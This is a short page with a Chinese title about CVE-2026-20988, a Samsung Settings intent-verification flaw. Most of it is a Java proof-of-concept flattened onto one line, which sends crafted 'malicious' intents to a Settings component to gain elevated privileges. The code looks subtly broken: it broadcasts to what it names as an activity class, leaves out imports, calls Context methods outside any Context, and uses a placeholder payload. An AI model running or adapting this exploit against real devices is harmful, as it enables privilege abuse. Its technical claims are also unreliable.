CVE-2026-20988 三星Settings应用Broadcast Receiver Intent验证不当漏洞

// CVE-2026-20988 PoC - Samsung Settings Intent Verification Bypass // This PoC demonstrates the improper intent verification vulnerability // Requires: Android device with vulnerable Samsung Settings version import android.content.Intent; import android.content.ComponentName; public class CVE_2026_20988_PoC { // Target broadcast receiver component in Samsung Settings private static final String SETTINGS_PACKAGE = "com.android.settings"; private static final String VULNERABLE_RECEIVER = "com.android.settings.SubSettings"; // Malicious intent action that triggers vulnerable code path private static final String MALICIOUS_ACTION = "com.android.settings.SUB_SETTINGS"; /** * Exploit method to trigger the vulnerable broadcast receiver * This sends a crafted intent that bypasses proper verification */ public void exploit() { try { // Create malicious intent targeting Settings component Intent maliciousIntent = new Intent(MALICIOUS_ACTION); maliciousIntent.setComponent(new ComponentName( SETTINGS_PACKAGE, VULNERABLE_RECEIVER )); // Add extra data to exploit the improper verification maliciousIntent.putExtra("target_activity", "SensitiveSettingsActivity"); maliciousIntent.putExtra("extra_data", "malicious_payload"); // Set as foreground activity to increase priority maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // Send the malicious broadcast sendBroadcast(maliciousIntent); System.out.println("[+] Malicious intent sent successfully"); System.out.println("[+] Settings receiver should now execute with elevated privileges"); } catch (Exception e) { System.err.println("[-] Exploit failed: " + e.getMessage()); e.printStackTrace(); } } /** * Alternative exploitation via PendingIntent * Bypasses additional verification if present */ public void exploitViaPendingIntent() { Intent intent = new Intent(MALICIOUS_ACTION); intent.setComponent(new ComponentName(SETTINGS_PACKAGE, VULNERABLE_RECEIVER)); // Create pending intent with malicious parameters PendingIntent pendingIntent = PendingIntent.getBroadcast( getApplicationContext(), 0, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE ); try { pendingIntent.send(); Log.i("CVE-2026-20988", "PendingIntent exploit executed"); } catch (PendingIntent.CanceledException e) { e.printStackTrace(); } } } // Note: This PoC is for educational and security research purposes only. // Unauthorized exploitation of this vulnerability is illegal.